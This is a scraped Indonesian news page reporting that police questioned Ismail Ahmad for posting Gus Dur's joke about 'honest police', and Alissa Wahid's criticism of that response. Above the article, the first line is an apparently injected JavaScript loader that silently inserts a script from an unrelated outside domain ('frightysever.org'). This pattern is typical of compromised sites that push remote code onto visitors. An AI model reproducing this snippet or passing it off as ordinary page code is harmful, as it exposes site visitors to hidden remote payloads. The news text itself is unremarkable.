(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Pria Diperiksa Gara-gara Kutip Humor Polisi Jujur, Alissa Wahid: Seharusnya Polisi Tuntut Gus Dur!


KANALKALIMANTAN.COM, JAKARTA – Media diramaikan berita pemanggilan warga bernama Ismail Ahmad oleh Polres Kabupaten Kepulauan Sula, Maluku Utara. Dia dimintai keterangan dan akhirnya diminta minta maaf serta tidak mengulangi perbuatannya hanya gara-gara soal mengutip sebuah homor lama.

Ahmad dituduh mencemarkan nama baik polisi gegara menulis humor Gus Dur tentang polisi yang jujur. Ahmad memposting tulisannya di Facebook.

Menyikapi kasus tersebut, putri Presiden keempat RI Abdurrahman Wahid (Gus Dur) Alissa Wahid menyayangkan respons aparat Kepolisian. “Harusnya kalau polisi mau menuntut, menuntut Gus Dur, karena dia mengutip lelucon Gus Dur,” ujar Alissa, Rabu (17/6/2020).

Alissa, seperti dilansir CNN Indonesia menyebut insiden itu sekaligus membuktikan bahwa sekat kebebasan berpendapat dan rasa ketersinggungan sejumlah pihak di Indonesia sangat tipis. “It’s not about Pak Mail, ini tentang sebuah humor lama yang sangat terkenal [kembali] dinaikkan, kalau dibandingkan kepopuleran dengan ‘DPR taman kanak-kanak’ itu memang jauh ya, tetapi ini humor sudah sangat sering muncul di masyarakat,” sambungnya.

Alissa tidak ingat betul kapan Gus Dur pertama kali menyampaikan guyonan itu. Akan tetapi, yang dia ingat, guyonan itu sering dilontarkan sang ayah di banyak kesempatan. Salah satunya saat beberapa wartawan ngobrol bersama Gus Dur dan menanyakan perihal reputasi kepolisian pada masa itu.

“Juga ada kisah A.S Hikam mantan Menristek dengan Gus Dur yang melemparkan humor itu pada saat membicarakan tentang kasus BLBI (Bantuan Likuiditas Bank Indonesia), kan itu menyeret beberapa orang polisi,” jelasnya.

Bahkan menurut Alissa, lelucon itu acap kali dilontarkan Gus Dur di depan Polisi. Oleh karena itu, atas temuan baru ini ia merasa kaget dengan respons kepolisian yang memperkarakan kasus tersebut. “Karena Gus Dur kan memang begitu, banyak hal dijadikan guyonan begitu, di dalam guyonan itu juga terselip refleksi,” kata Alissa.

Putri sulung Gus Dur itu sempat tak yakin pihak kepolisian menangkap seseorang hanya karena mengunggah guyonan Gus Dur. Namun, ternyata benar terjadi. Dia lalu menyarankan alangkah baiknya jika kepolisian tidak gegabah dalam melakukan penyelidikan. Terlebih, lanjutnya, saat ini banyak kalangan yang mudah tersinggung.

“Kalau itu antar warga bisa menerima ya, sebagai namanya dinamika antar warga. Tapi ini atas nama lembaga lho, atas nama lembaga negara yang bahkan dalam Undang-Undang Pencemaran nama baik itu tidak bisa, lembaga kemudian merasa tersinggung,” tuturnya.

“Indonesia darurat humor, makanya humor jadi seperti ini kok jadi urusan hukum, itu berarti sudah darurat sekali buat Indonesia dan ini sudah kesekian kali ya,” sesalnya.

Alissa mengaku telah berupaya menghubungi Ismail untuk memberikan dukungan moril. Hingga saat ini, Alissa masih menunggu laporan dari Gusdurian di lapangan terkait perkembangan kondisi Ismail.

“Teman-teman Gusdurian sedang berupaya untuk menghubungi Pak Mail, tapi kami memahami kondisinya pasti terguncang, karena itu bercanda tapi kok jadi begini,” ungkapnya.

Sebelumnya, Ismail menuliskan kalimat lelucon yang pernah diucapkan Gus Dur di akun media sosialnya. Ismail menulis ‘Hanya ada tiga polisi jujur di Indonesia: Patung polisi, polisi tidur, dan Jenderal Hoegeng’.
Ismail kemudian dipanggil Polres Kabupaten Kepsul untuk dimintai klarifikasi. Setelah itu, Ismail menyampaikan permintaan maaf dalam sebuah konferensi pers di Mapolres Kabupaten Kepsu, Selasa (16/6) kemarin. (Kanalkalimantan.com/cnnindonesia)

 

Editor : Cell

 


Desy Arfianty

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

3 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

3 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

7 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

9 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

9 jam ago

This website uses cookies.